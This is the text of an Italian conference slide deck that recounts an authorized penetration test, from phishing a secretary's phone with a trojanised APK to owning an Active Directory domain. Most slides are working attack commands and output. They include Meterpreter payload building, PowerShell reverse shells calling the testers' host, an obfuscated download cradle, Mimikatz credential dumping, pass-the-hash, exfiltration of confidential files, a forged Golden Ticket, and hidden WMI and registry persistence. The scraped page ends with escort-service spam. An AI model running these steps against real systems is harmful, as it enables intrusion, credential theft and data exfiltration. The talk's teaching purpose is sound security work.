SlideShare une entreprise Scribd logo
1  sur  63
Télécharger pour lire hors ligne
Da APK al Golden Ticket
Storia di un penetration test
Andrea Pierini, Giuseppe Trotta
Chi siamo
➔ Andrea Pierini: IT Architect & Security Manager, con la passione del
pentesting - il vecchio saggio
➔ Giuseppe Trotta: Penetration tester - il figliol prodigo
Warning
DISCLAIMER
➔ Background
➔ Da APK a shell sul server WSUS
➔ Lateral Movement(s) & Exploitation
➔ Exfiltration
➔ Golden Ticket
➔ Persistenza
Agenda
Storia di un pentest
Partendo da una campagna di phishing, dopo aver effettuato spear phishing
sulla segretaria e sul suo smartphone, ci siamo intrufolati nella rete
aziendale e, attraverso “movimenti laterali” e “privilege escalation”, siamo
diventati amministratori del dominio, abbiamo sottratto file sensibili e attuato
tecniche di persistence
Perché raccontarla?
Keep it simple, stupid
Going NativeGoing Native ...
https://www.flickr.com/photos/tkmckamy/4521015190
Background
➔ Vulnerability Assessment & Penetration Test Black Box
➔ Social engineering consentito
➔ “Rubare” informazioni riservate
Background
➔ Durante i colloqui preliminari, abbiamo chiesto
accesso al Wi-Fi “GUEST”.
➔ Credenziali valide per 1 giorno
➔ Tanti dispositivi collegati … i dipendenti?
Phishing campaign
➔ Buona la prima? No, ma la segretaria … ¯_(ツ)_/¯
➔ … il suo smartphone e la figlia ...
Phishing campaign
$ msfvenom -x puzzle.apk 
-p android/meterpreter/reverse_tcp 
LHOST=<IL_NOSTRO_IP> LPORT=443 -o /var/www/html/puzzle.apk
Phishing campaign
Il mattino seguente...
[*] Meterpreter session 3 opened (█████:443 -> █████:51990)
meterpreter> ipconfig
…
Interface 9
============
Name : wlan0 - wlan0
Hardware MAC : 20:6e:9c:75:94:ba
IPv4 Address : 10.18.112.46
IPv4 Netmask : 255.255.255.0
…
meterpreter> shell
Process 1 created.Channel 1 created.
getprop net.dns1
192.168.178.196
Network discovery
➔ Scan via ProxyChains
exploit(handler) > route add 192.168.178.0 255.255.255.0 3
exploit(handler) > use auxiliary/server/socks4a
…
# proxychains nmap -sn 192.168.178.0/24
Nmap scan report for 192.168.178.195
Host is up (0.15s latency).
Nmap scan report for 192.168.178.196
Host is up (0.22s latency).
…
msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 192.168.178.195,196
…
[*] 192.168.178.195: - 192.168.178.195:80 - TCP OPEN
[*] 192.168.178.195: - 192.168.178.195:8080 - TCP OPEN
…
[*] 192.168.178.196: - 192.168.178.196:53 - TCP OPEN
…
Schema di rete ipotizzato...
Il server intranet
➔ Portforwarding
➔ Apache basic-auth bruteforce
meterpreter>portfwd add -L 127.0.0.1 -l 8001 -r 192.168.178.195 -p 80
meterpreter>portfwd add -L 127.0.0.1 -l 8002 -r 192.168.178.195 -p 8080
# hydra 127.0.0.1 -s 8002 -L users.txt -P pass.txt -t12 http-get /
…
[DATA] max 12 tasks per 1 server, overall 64 tasks, 11000 login tries
(l:11/p:1000), ~14 tries per task
[DATA] attacking service http-get on port 8080
…
[8080][http-get] host: 127.0.0.1 login: admin password:
password123456
1 of 1 target successfully completed, 1 valid password found
Caro Tomcat…
➔ Upload file WAR file (Web-application ARchive):
◆ cmd.jsp
◆ Mimikatz (PS) “offuscato”
`Obf`u`s`c""a'tio'"$([char]0x6E)"
➔ Meccanismi di detection molto scarsi
➔ Match di stringhe/comandi
➔ Linguaggio flessibile
➔ RTFM funziona sempre…
➔ Invoke-Obfuscation by Daniel Bohannon
^must read
`Obf`u`s`c""a'tio'"$([char]0x6E)"
➔ mimigatto.ps1
Invoke-mimikatz → ChiamaIlGatto
DumpCreds → PrendiCroccantini
Get-Win32Types → CheTipo32
CallDllMainSc1 → MaChiChiami
Win32Functions → IOSFunctions
…
➔ Download malware
Invoke-Expression(New-Object System.Net.WebClient).DownloadString("https://bit.ly/Ev1l")
↓
`I`N`V`o`k`e`-`E`x`p`R`e`s`s`i`o`N (& (`G`C`M *w-O*)
"`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`S`T`R`i`N`g"('ht'+'tps://bit.ly/Ev1l)
Dovevamo far presto…
Command: cmd /c set
ALLUSERSPROFILE=C:ProgramData
...
COMPUTERNAME=SRVINTRANET
...
USERDOMAIN=SUPERCOMPANY
USERNAME=SRVINTRANET$
Command: cmd /c systeminfo
Host Name: SRVINTRANET
OS Name: Microsoft Windows Server 2012 R2 Standard
OS Version: 6.3.9600 N/A Build 9600
OS Manufacturer: Microsoft Corporation
OS Configuration: Member Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
…
System Manufacturer: VMware, Inc.
…
Dovevamo far presto…
Command: cmd /c nltest /dclist:supercompany
Get list of DCs in domain 'supercompany' from 'SRVDC1'.
srvdc1.supercompany.local[PDC] [DS]Site: Default-First-Site-Name
srvdc2.supercompany.local [DS]Site: Default-First-Site-Name
...
The command completed successfully
Command: cmd /c dir "c:program files (x86)"
Volume in drive C has no label.
Volume Serial Number is C050-5A8D
Directory of c:program files (x86)
02/25/2017 08:59 AM <DIR> .
02/25/2017 08:59 AM <DIR> ..
...
02/25/2017 08:59 AM <DIR> Symantec
...
➔ Dalla webshell avevamo provato a lanciare una Reverse Shell (PS)
➔ Nulla di fatto!
➔ Evidentemente SRVINTRANET non aveva accesso a internet
Reverse shell #1
Command: cmd /c powershell -nop -c
"$client=New-Object System.Net.Sockets.TCPClient('IL_NOSTRO_IP',443);
$stream=$client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback=(iex $data 2>&1 | Out-String );$sendback2=$sendback+'PS '+(pwd).Path + '> ';
$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()
};$client.Close()"
Piano B: reperire le credenziali
➔ Mimigatto, PrendiCroccantini!
Command: cmd /c powershell -nop -exec bypass -command "import-module
c:tomcatwebappscmdwarfilesmimigatto.ps1;
ChiamaIlGatto -PrendiCroccantini"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## /  ## /* * *
##  / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # sekurlsa::logonpasswords
...
[00000003] Primary
* Username : Administrator
* Domain : SRVINTRANET
* NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
* SHA1 : 7754ff505598bf3XXXXXXXXXXXXXXXXXXXXXXXXX
...
Piano C: No admin logged-in? No problem!
➔ Con i privilegi di SYSTEM era facile reperire gli hash di local Administrator
Command: cmd /c powershell -nop -exec bypass -command "import-module
c:tomcatwebappscmdwarfilesmimigatto.ps1;
ChiamaIlGatto -command '"lsadump::lsa /name:administrator /inject"'"
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## /  ## /* * *
##  / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
mimikatz(powershell) # lsadump::lsa /name:administrator /inject
Domain : SRV2012 / S-1-5-21-938204560-2839928776-2225904511
RID : 000001f4 (500)
User : administrator
* Primary
LM :
NTLM : 604603ab105adc8XXXXXXXXXXXXXXXXX
Lateral Movement(s) & Exploitation
Lateral Reconnaissance: alla ricerca di internet
➔ Possibili bersagli: SRVWSUS e SRVAV
◆ Uno di loro doveva uscire su Internet
➔ E poi quel SRVFILE1 …
Command: cmd /c net view
Server Name Remark
-------------------------------------------------
SRVDC1 Domain controller PDC
SRVDC2 Domain Controller
SRVWSUS Server WSUS
SRVAV Server AV
SRVFILE1 File Server
...
Lateral Movement: SRVWSUS
➔ SRVWSUS accede ad Internet?
➔ Le hash catturate valgono su SRVWSUS?
➔ Pass-the-Hash con PS, si può?
◆ SMBExec.ps1
◆ WMIExec.ps1
https://github.com/Kevin-Robertson/Invoke-TheHash
Lateral Movement: SRVWSUS
➔ Intanto sul nostro web server:
$ cat r1.ps1
function Invoke-r1
{
$client = New-Object Net.Sockets.TCPClient('NOSTRO_IP',443)
$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
$data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
}
Lateral Movement: SRVWSUS
➔ Tramite Tomcat manager: upload di SMBExec.ps1 con l’autorun in coda:
…
Invoke-SMBExec -Target <SRVWSUS_IP> -Username Administrator -Hash
604603ab105adc8XXXXXXXXXXXXXXXXX
-Command "powershell `"IEX(New-Object
Net.WebClient).DownloadString(`'http://NOSTRO_IP/r1.ps1`'); Invoke-r1`""
➔ Sulla nostra macchina: nc -lvp 443
➔ Dalla webshell:
Command: cmd /c powershell -nop -exec bypass -f
c:tomcatwebappscmdwarfilessmbexec.ps1
SRVWSUS: Finalmente una shell “decente”
# nc -lvvp 443
connect to <NOSTRO_IP> from <COMPANY_PUBLIC_IP>
50341
PS C:Windowssystem32> whoami
nt authoritysystem
Bye bye Android
SRVWSUS: Alla ricerca di nuove credenziali
➔ E chi era questo utente di dominio “adm.arazzi”?
PS C:tmp>iex (New-Object Net.WebClient).DownloadString('http://NOSTRO_IP/mimigatto.ps1');
ChiamaIlGatto -PrendiCroccantini
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 749566 (00000000:000b6ffe)
Session : Interactive from 2
User Name : adm.arazzi
Domain : SUPERCOMPANY
Logon Server : SRVDC1
Logon Time : 9/11/2016 10:23:28 AM
SID : S-1-5-21-3534665177-2148510708-2241433719-1001
msv :
[00000003] Primary
* Username : adm.arazzi
* Domain : SUPERCOMPANY
* NTLM : 446687c38d831f4XXXXXXXXXXXXXXXXX
* SHA1 : 5cd9d993a606586XXXXXXXXXXXXXXXXXXXXXXXXX
➔ Un target interessante? Farà parte dei Domain Administrators?
➔ Come verificarlo?
➔ Pass-the-Hash con Mimikatz!
SRVWSUS: adm.arazzi
SRVWSUS: adm.arazzi
PS c:tmp>cmd /c echo net user adm.arazzi /domain ^>
c:tmpwhoisarazzi.txt > whoisarazzi.bat
PS c:tmp>iex(New-Object
Net.WebClient).DownloadString('http://NOSTRO_IP/mimigatto.ps1');
ChiamaIlGatto -command '"sekurlsa::pth /user:adm.arazzi
/domain:supercompany /ntlm:446687c38d831f4XXXXXXXXXXXXXXXXX
/run:c:tmpwhoisarazzi.bat"'
SRVWSUS: adm.arazzi
PS c:tmp>type whoisarazzi.txt
The request will be processed at a domain controller for domain supercompany.local.
User name adm.arazzi
Full Name antonio razzi
Comment :-)
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
(..)
Local Group Memberships *Administrators
Global Group memberships *Group Policy Creator *Domain Users
*Domain Admins *Schema Admins
*Enterprise Admins
Lateral Movement: SRVFILE1
➔ SRVWSUS diventa il pivot per accedere al FileServer:
➔ Su SRVWSUS download di una nuova reverse shell (attenzione all'IP!)
PS c:tmp>netsh interface portproxy add v4tov4 listenport=8888
listenaddress=0.0.0.0 connectport=443 connectaddress=NOSTRO_IP
PS c:tmp>IEX(New-Object
Net.WebClient).DownloadFile('http://NOSTRO_IP/r2.ps1','c:tmpr2.ps1')
$ cat r2.ps1
...
$client = New-Object
System.Net.Sockets.TCPClient('<SRVWSUS_IP>',8888)
..
Lateral Movement: SRVFILE1
➔ Download & Exec di HTTP.ps1, un mini server HTTP
PS c:tmp>type http.ps1
# http.ps1
start-job { # will execute in bg
$p="c:tmp"
$H=New-Object Net.HttpListener
$H.Prefixes.Add("http://+:8001/")
$H.Start()
...
PS c:tmp>IEX(New-Object
Net.WebClient).DownloadFile('http://NOSTRO_IP/http.ps1','c:tmphttp.ps1'); .http.ps1
Id Job ...
-- ---
6 Job6 ...
Lateral Movement: SRVFILE1
➔ Alternativa a SMBExec? WMIExec!
➔ Auto-invoke alla fine, ovviamente
PS c:tmp> IEX (New-Object
Net.WebClient).DownloadFile('http://NOSTRO_IP/wmiexec.ps1','c:tmpwmiexec.ps1')
Invoke-WMIExec -Target SRVFILE1_IP -Domain SUPERCOMPANY -Username adm.razzi -Hash
446687c38d831f4XXXXXXXXXXXXXXXXX
-Command "powershell `"IEX (New-Object
Net.WebClient).DownloadString(`'http://SRVWSUS_IP:80001/r2.ps1`'); Invoke-r2`""
Lateral Movement: SRVFILE1
➔ Tutto pronto ..
Lateral Movement: SRVFILE1
➔ Sulla nostra macchina: nc -lvp 443
➔ Su SRVWSUS:
PS C:tmp> .wmiexec.ps1
Command executed with process ID 4756 on SRVFILE1_IP
Lateral Movement: SRVFILE1
➔ Et voilà! # nc -lvp 443
connect to NOSTRO_IP from <COMPANY_PUBLIC_IP> 49190
PS C:Windowssystem32> whoami
supercompanyadm.arazzi
Checkpoint: situazione shell
➔ 2 reverse shell in PowerShell:
◆ Su SRVWSUS siamo SYSTEM
◆ Su SRVFILE1 via SRVWSUS siamo Domain Administrator!!
➔ Grazie alla shell su SRVFILE1 i dati sensibili ci stavano aspettando:
➔ Come fare exfiltration?
➔ Tentativo #1: Exfiltration via FTP Fallito
Exfiltration
Directory: F:FinanzaRiservato
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a--- 9/24/2016 2:20 AM 164468 Supersecret.docx
-a--- 5/29/2016 6:41 PM 12288 Bilancio.xlsx
…
Exfiltration
➔ Ricordate KISS? Upload via HTTP sul nostro server?
➔ Per il client? Upload.ps1
http://blog.majcica.com/2016/01/13/powershell-tips-and-tricks-multipartform-data-requests/
<?php
// index.php
$fname = @$_FILES['fname']['name'];
$fname_loc = @$_FILES['fname']['tmp_name'];
echo (@move_uploaded_file($fname_loc,$fname))?"DONE":"ERROR";
Exfiltration
➔ A questo punto occorreva un nuovo portforward su SRVWSUS
➔ Download upload.ps1 su SRVFILE1 via SRVWSUS
# [SRVFILE1 <-> SRVWSUS:8889 <-> ATTACKER:80]
interface portproxy add v4tov4 listenport=8889 listenaddress=0.0.0.0 connectport=80
connectaddress=NOSTRO_WEB_SERVER
PS C:tmp> (New-Object
Net.WebClient).DownloadFile('http://SRVWSUS:8889/upload.ps1','c:tmpupload.ps1')
Exfiltration architecture
➔ Dal FileServer
Finalmente upload!
PS C:tmp> . .upload.ps1
PS C:tmp> invoke-upload -infile
f:finanzariservatoSupersecret.docx -uri http://SRVWSUS:8889/
content:System.Net.Http.StreamContent
DONE
PS C:tmp> invoke-upload -infile
f:finanzariservatobilancio.xlsx -uri http://SRVWSUS:8889/
content:System.Net.Http.StreamContent
DONE
Alternativa? PMFU!
➔ PMFU == Poor Man File Upload == niente fronzoli, minimal
➔ Sulla nostra macchina:
PS C:tmp>$c=New-Object System.Net.Sockets.TCPClient('SRVWSUS_IP',8889);
$s=[System.IO.File]::ReadAllBytes("f:finanzariservatosupersecret.docx");
$st=$c.GetStream();$st.Write($s,0,$s.Length);$st.Flush();$c.Close()
# nc -lp 80 > supersecret.docx
File grandi?!
$src= "f:finanzariservato"
$dst= "c:tmpfiles.zip"
[Reflection.Assembly]::LoadWithPartialName("System.IO.Compression.FileSystem")
[System.IO.Compression.ZipFile]::CreateFromDirectory($src,$dst,
[System.IO.Compression.CompressionLevel]::Optimal,$true)
Breaking Bad
Fear the Golden Ticket attack*
➔ Il “Golden Ticket” è un ticket Kerberos (TGT)
creato offline in modo tale da garantire
l’accesso fraudolento ad un dominio AD,
impersonando qualsiasi utente (anche il
Domain Admin), e valido anche per 10 anni!
➔ Funziona anche se la vittima cambia la sua
password
➔ Come è possibile?
◆ Il ticket e i dati autorizzativi sono firmati con gli hash
dell’account “krbtgt”
* by Benjamin DEPLY - mimikatz
Golden Ticket? DIY!
➔ PRE: nuovo portforwarding su SRVWSUS, smbexec.ps1, upload
mimigatto.ps1, etc... per ottenere shell come SYSTEM sul domain controller
➔ Export hash di krbtgt con mimikatz e preso il SID del dominio:
PS C:windowstemp>ChiamaIlGatto -command '"privilege::debug” "LSADump::LSA /name:krbtgt
/inject"' > hash.txt
PS C:windowstemp>type hash.txt
Domain : SUPERCOMPANY / S-1-5-21-3534665177-2148510708-2241433719
RID : 000001f6 (502)
User : krbtgt
* Primary
LM :
NTLM : 3003567af268a4a94e26f410e84353f1
...
aes256_hmac (4096) :
9bf24ba27d9ddf67e077cbab435e06e8006109bc572793868ea3864b465fd155
aes128_hmac (4096) : 46be43e81ca521d647f332bd4e1b7897
des_cbc_md5 (4096) : d5ade3405ea183ce
Golden Ticket? DIY!
➔ E poi ... comodamente offline!
mimikatz# kerberos::golden /admin:Administrator
/domain:supercompany.LOCAL
/sid:S-1-5-21-3534665177-2148510708-2241433719
/aes256:9bf24ba27d9ddf67e077cbab435e06e8006109bc572793868ea3864b465fd155
/ticket:admin.krb
➔ Da SRVWSUS: shell Local SYSTEM
➔ Download admin.krb (ticket kerberos)
➔ Pass-The-Ticket!
Golden Ticket in action!
mimikatz(powershell) # kerberos::ptt admin.krb
* File: 'admin.krb': OK
PS C:tmp> klist
Current LogonId is 0:0x3e7
Cached Tickets: (1)
#0> Client: Administrator @ supercompany.LOCAL
Server: krbtgt/supercompany.LOCAL @ supercompany.LOCAL
Golden Ticket in action!
# nc -lvp 443
…
PS C:Windowssystem32> whoami
supercompanyadministrator
PS C:tmp> copy c:tmpr3.ps1 SRVDC1C$windowstempr3.ps1
PS C:tmp> wmic /authority:"kerberos:SUPERCOMPANYSRVDC1"
/node:SRVDC1 process call create "powershell -exec bypass
-windowstyle hidden -f c:windowstempr3.ps1"
Executing (Win32_Process)->Create()
Method execution successful.
...
Long time persistence
Persistenza
Persistenza
➔ Windows Management Instrumentation (WMI), un posto meno “scontato” dove
aggiungere persistenza, sfruttando l’evento InstanceModificationEvent
PS> $filterName = "JustForTestFilter"
PS> $consumerName = "JustForTestConsumer"
PS> $exePath = "C:windowshelpwindowsindexstorer.bat"
PS> $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND
TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUpTime < 300"
PS> $WMIEventFilter=Set-WmiInstance -Class __EventFilter
-NameSpace "rootsubscription"
-Arguments
@{Name=$filterName;EventNameSpace="rootcimv2";QueryLanguage="WQL";
Query=$Query} -ErrorAction Stop
PS> $WMIEventConsumer=Set-WmiInstance -Class CommandLineEventConsumer
-Namespace "rootsubscription" -Arguments
@{Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exepath
}
PS> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace
"rootsubscription"
-Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}
Persistenza
➔ E la PS shell? Cosa fare nel caso di una caduta?
➔ No problem, ci si rialza!
PS C:windowshelpwindowsindexstore>type r.bat
@echo off
:loop
powershell -nop -executionpolicy bypass -windowstyle
hidden -f C:windowshelpwindowsindexstorer.ps1
timeout /t 30
goto loop
Persistenza
➔ Bonus trick: “autoruns” non se ne accorge!
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRun]
"Stealth"="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL "C:windowshelpwindowsindexstorer.bat""
https://gist.githubusercontent.com/hasherezade/e3b5682fee27500c5dabf5343f447de3
Tecniche e soluzioni “alternative”
➔ Reverse shell attraverso un Proxy?
➔ Basta aggiungere le configurazioni relative al Proxy/Credenziali nella nostra
reverse shell
S C:windowsind
$rhost="X.X.X.X"
$rport="80"
$uri = "http://" + $rhost + ":" + $rport
$proxy = [System.Net.WebRequest]::DefaultWebProxy
$proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$Request = [System.Net.HttpWebRequest]::Create("http://" + $rhost + ":" + $rport)
$Request.Method = "CONNECT"
$Request.Proxy = $Proxy
$resp = $Request.getResponse()
$respstream = $resp.GetResponseStream()
$bflags = [Reflection.BindingFlags] "NonPublic,Instance"
$rstype = $respstream.GetType()
$connprop = $rstype.GetProperty("Connection", $bflags)
$connection = $connprop.GetValue($respstream, $null)
$conntype = $connection.GetType()
...
Tecniche e soluzioni “alternative”
➔ “Multi-Netcat” reverse shell listener
◆ https://github.com/nemanjan00/reverse-shell-listenerS C:windowsind
Grazie ai revisori dell’articolo originale ...
.. a Mario e tutto lo staff di HackInBo
Un saluto agli amici dello
“Snado Team”!!
PS>.installSNADO.ps1 -permanent
Andrea <decoder.ap@gmail.com>, <@decoder_it>
Giuseppe <giutrotta@gmail.com>, <@giutro>

Contenu connexe

Tendances

9 password security
9   password security9   password security
9 password security
drewz lin
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploy
Simon Su
 

Tendances (20)

Django cryptography
Django cryptographyDjango cryptography
Django cryptography
 
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - MimikatzNSC #2 - D2 02 - Benjamin Delpy - Mimikatz
NSC #2 - D2 02 - Benjamin Delpy - Mimikatz
 
9 password security
9   password security9   password security
9 password security
 
Apache httpd reverse proxy and Tomcat
Apache httpd reverse proxy and TomcatApache httpd reverse proxy and Tomcat
Apache httpd reverse proxy and Tomcat
 
Summer of Fuzz: macOS
Summer of Fuzz: macOSSummer of Fuzz: macOS
Summer of Fuzz: macOS
 
Defeating The Network Security Infrastructure V1.0
Defeating The Network Security Infrastructure  V1.0Defeating The Network Security Infrastructure  V1.0
Defeating The Network Security Infrastructure V1.0
 
Kamailio - SIP Firewall for Carrier Grade Traffic
Kamailio - SIP Firewall for Carrier Grade TrafficKamailio - SIP Firewall for Carrier Grade Traffic
Kamailio - SIP Firewall for Carrier Grade Traffic
 
TechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - Trivadis
TechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - TrivadisTechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - Trivadis
TechEvent 2019: Wie sichere ich eigentlich Kafka ab?; Markus Bente - Trivadis
 
Nko workshop - node js crud & deploy
Nko workshop - node js crud & deployNko workshop - node js crud & deploy
Nko workshop - node js crud & deploy
 
OWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA TestersOWASP ZAP Workshop for QA Testers
OWASP ZAP Workshop for QA Testers
 
Tatu: ssh as a service
Tatu: ssh as a serviceTatu: ssh as a service
Tatu: ssh as a service
 
Kubernetes networking - basics
Kubernetes networking - basicsKubernetes networking - basics
Kubernetes networking - basics
 
Getting started with RDO Havana
Getting started with RDO HavanaGetting started with RDO Havana
Getting started with RDO Havana
 
Fail2ban - the system security for green hand -on linux os
Fail2ban  - the system security  for green hand -on linux osFail2ban  - the system security  for green hand -on linux os
Fail2ban - the system security for green hand -on linux os
 
Apache httpd 2.4 Reverse Proxy
Apache httpd 2.4 Reverse ProxyApache httpd 2.4 Reverse Proxy
Apache httpd 2.4 Reverse Proxy
 
Python Cryptography & Security
Python Cryptography & SecurityPython Cryptography & Security
Python Cryptography & Security
 
Importance of sshfp and configuring sshfp for network devices
Importance of sshfp and configuring sshfp for network devicesImportance of sshfp and configuring sshfp for network devices
Importance of sshfp and configuring sshfp for network devices
 
Importance of SSHFP for Network Devices
Importance of SSHFP for Network DevicesImportance of SSHFP for Network Devices
Importance of SSHFP for Network Devices
 
Malware Detection with OSSEC HIDS - OSSECCON 2014
Malware Detection with OSSEC HIDS - OSSECCON 2014Malware Detection with OSSEC HIDS - OSSECCON 2014
Malware Detection with OSSEC HIDS - OSSECCON 2014
 
Functional Operations (Functional Programming at Comcast Labs Connect)
Functional Operations (Functional Programming at Comcast Labs Connect)Functional Operations (Functional Programming at Comcast Labs Connect)
Functional Operations (Functional Programming at Comcast Labs Connect)
 

Similaire à Da APK al Golden Ticket

fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
Wesley Beary
 

Similaire à Da APK al Golden Ticket (20)

dotCloud and go
dotCloud and godotCloud and go
dotCloud and go
 
Red Hat Forum Tokyo - OpenStack Architecture
Red Hat Forum Tokyo - OpenStack ArchitectureRed Hat Forum Tokyo - OpenStack Architecture
Red Hat Forum Tokyo - OpenStack Architecture
 
Swift Install Workshop - OpenStack Conference Spring 2012
Swift Install Workshop - OpenStack Conference Spring 2012Swift Install Workshop - OpenStack Conference Spring 2012
Swift Install Workshop - OpenStack Conference Spring 2012
 
Pycon - Python for ethical hackers
Pycon - Python for ethical hackers Pycon - Python for ethical hackers
Pycon - Python for ethical hackers
 
Openstack 101
Openstack 101Openstack 101
Openstack 101
 
Reverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande ModemReverse engineering Swisscom's Centro Grande Modem
Reverse engineering Swisscom's Centro Grande Modem
 
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
파이썬 개발환경 구성하기의 끝판왕 - Docker Compose
 
NetDevOps Developer Environments with Vagrant @ SCALE16x
NetDevOps Developer Environments with Vagrant @ SCALE16xNetDevOps Developer Environments with Vagrant @ SCALE16x
NetDevOps Developer Environments with Vagrant @ SCALE16x
 
Deploying Percona XtraDB Cluster in Openshift
Deploying Percona XtraDB Cluster in OpenshiftDeploying Percona XtraDB Cluster in Openshift
Deploying Percona XtraDB Cluster in Openshift
 
Puppet Camp 2012
Puppet Camp 2012Puppet Camp 2012
Puppet Camp 2012
 
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
fog or: How I Learned to Stop Worrying and Love the Cloud (OpenStack Edition)
 
R-House (LSRC)
R-House (LSRC)R-House (LSRC)
R-House (LSRC)
 
fog or: How I Learned to Stop Worrying and Love the Cloud
fog or: How I Learned to Stop Worrying and Love the Cloudfog or: How I Learned to Stop Worrying and Love the Cloud
fog or: How I Learned to Stop Worrying and Love the Cloud
 
Incident response: Advanced Network Forensics
Incident response: Advanced Network ForensicsIncident response: Advanced Network Forensics
Incident response: Advanced Network Forensics
 
Docker Security workshop slides
Docker Security workshop slidesDocker Security workshop slides
Docker Security workshop slides
 
Osol Pgsql
Osol PgsqlOsol Pgsql
Osol Pgsql
 
Linux administration ii-parti
Linux administration ii-partiLinux administration ii-parti
Linux administration ii-parti
 
Automating the Network
Automating the NetworkAutomating the Network
Automating the Network
 
How I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine Yard
How I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine YardHow I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine Yard
How I Learned to Stop Worrying and Love the Cloud - Wesley Beary, Engine Yard
 
Nagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform Enviornment
Nagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform EnviornmentNagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform Enviornment
Nagios Conference 2013 - Leland Lammert - Nagios in a Multi-Platform Enviornment
 

Dernier

Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRLLucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
Lucknow ❤CALL GIRL 88759*99948 ❤CALL GIRLS IN Lucknow ESCORT SERVICE❤CALL GIRL
imonikaupta
 
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
Low Rate Young Call Girls in Sector 63 Mamura Noida ✔️☆9289244007✔️☆ Female E...
SofiyaSharma5
 
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
Call Girls In Model Towh Delhi 💯Call Us 🔝8264348440🔝
soniya singh
 
AWS Community DAY Albertini-Ellan Cloud Security (1).pptx
AWS Community DAY Albertini-Ellan Cloud Security (1).pptxAWS Community DAY Albertini-Ellan Cloud Security (1).pptx
AWS Community DAY Albertini-Ellan Cloud Security (1).pptx
ellan12
 
Hot Service (+9316020077 ) Goa Call Girls Real Photos and Genuine Service
Hot Service (+9316020077 ) Goa  Call Girls Real Photos and Genuine ServiceHot Service (+9316020077 ) Goa  Call Girls Real Photos and Genuine Service
Hot Service (+9316020077 ) Goa Call Girls Real Photos and Genuine Service
sexy call girls service in goa
 
Call Girls In Ashram Chowk Delhi 💯Call Us 🔝8264348440🔝
